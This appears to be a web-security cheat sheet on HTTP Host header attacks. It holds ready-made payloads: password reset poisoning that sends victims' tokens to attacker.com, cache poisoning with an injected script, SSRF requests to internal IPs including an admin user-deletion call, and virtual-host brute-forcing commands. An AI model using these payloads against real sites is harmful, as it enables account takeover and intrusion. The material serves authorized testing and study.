KagisoSec_
Web
WEB

HTTP Host Header Attacks

HTTP Host header attack techniques: password reset poisoning, routing-based SSRF, web cache poisoning via Host, connection state attacks, virtual host brute-forcing, and X-Forwarded-Host / X-Host bypass. Every payload separated.

web host-header password-reset-poisoning ssrf portswigger

What are HTTP Host Header Attacks

The Host header tells the server which virtual host to serve. Apps that trust it without validation use it in: password reset emails, redirects, cache keys, and internal routing. Injecting a malicious value poisons any functionality that echoes or uses the Host.

Detection

Step 1 — Send an arbitrary Host

In Burp Repeater, change the Host header to a non-existent value:

Host: ARBITRARY.attacker.com

If the app returns a 200 (or normal response) rather than 400/redirecting — it processes requests for any host.

Step 2 — Test duplicate / override headers

Some intermediaries use the first or last of a duplicated header; the other end uses the opposite:

Host: TARGET
Host: attacker.com
Host: TARGET
X-Forwarded-Host: attacker.com
Host: TARGET
X-Host: attacker.com
X-HTTP-Host-Override: attacker.com
Forwarded: host=attacker.com

In Repeater, add each override header one at a time. If the response reflects the override value or changes behaviour → vulnerable.

Step 3 — Burp Collaborator

Replace Host with your Collaborator domain. If the app makes a DNS/HTTP request back to it (e.g. during password reset), the Host is trusted in external operations.

Password Reset Poisoning

The target app generates a password reset link using the Host header value in the URL:

https://TARGET/reset?token=abc123

becomes

https://ATTACKER/reset?token=abc123

which is emailed to the victim.

Exploit

  1. Trigger a password reset for the victim’s email.
  2. In Burp Proxy, intercept the reset request and change:
Host: ATTACKER.com

or inject via override:

Host: TARGET
X-Forwarded-Host: ATTACKER.com
  1. The email arrives at the victim with a link pointing to ATTACKER.com.
  2. When the victim clicks it, your server receives the token in the URL path/query.
  3. Use the token to reset their password at the real TARGET.

Confirm with Burp Collaborator

Host: YOUR_COLLABORATOR_DOMAIN

Submit the reset form. If your Collaborator receives a DNS lookup for the token URL → confirmed.

Web Cache Poisoning via Host

If the cache key does not include the Host header (or an override header), you can poison the cache with a malicious response:

  1. Set X-Forwarded-Host: attacker.com (or whichever override is reflected).
  2. Find a page that reflects the Host in the response (e.g., canonical URL, redirect target, CDN base URL).
  3. The response includes attacker.com — and gets cached.
  4. All subsequent users who request the same URL receive the poisoned response.
GET /home HTTP/1.1
Host: TARGET
X-Forwarded-Host: attacker.com"><script>alert(1)</script>

If the response reflects the X-Forwarded-Host in a <meta> redirect or <link> tag and is cached → stored XSS for all visitors.

Routing-based SSRF

Internal reverse proxies route requests to back-end services based on the Host header. Supplying an internal IP/hostname as the Host tricks the proxy into forwarding the request to that internal target:

GET / HTTP/1.1
Host: 192.168.0.1
GET / HTTP/1.1
Host: internal-admin.corp

Combine with Burp Intruder to brute-force internal IPs:

GET / HTTP/1.1
Host: 192.168.0.§1§

Payloads: 1 through 254. Look for different response lengths or status codes that indicate a live internal service.

Access the admin panel via Host routing

GET /admin HTTP/1.1
Host: 192.168.0.1

If the internal host is the admin panel (often at localhost or an RFC-1918 IP) and the front-end proxies based on Host:

GET /admin/deleteUser?username=carlos HTTP/1.1
Host: localhost

Connection state attack (HTTP/1.1 Keep-Alive)

Some servers process the first request in a keep-alive connection carefully but trust the Host in subsequent requests in the same connection. The first request establishes routing; the second exploits it.

In Burp Repeater, enable Follow Redirects: off, keep the connection open, and send two requests in the same TCP connection to different paths/hosts.

Virtual host brute-forcing

Hidden virtual hosts may serve internal admin interfaces or staging environments on the same IP:

ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
  -u https://TARGET -H "Host: FUZZ.TARGET.com" \
  -fs <default_response_size>
gobuster vhost -u https://TARGET -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
  --append-domain

Compare response sizes — a different size indicates a distinct virtual host with different content.

Burp Suite workflow

  1. Repeater — manually test Host header manipulation (arbitrary host, duplicates, override headers).
  2. Burp Collaborator — use Collaborator domain as the Host; detect DNS/HTTP pingback confirming blind usage.
  3. Intruder — brute-force internal IPs in the Host for routing-based SSRF.
  4. Match and Replace — auto-inject X-Forwarded-Host: attacker.com on every request to spot reflection.
  5. Scanner — active scan detects Host header injection and password reset poisoning automatically.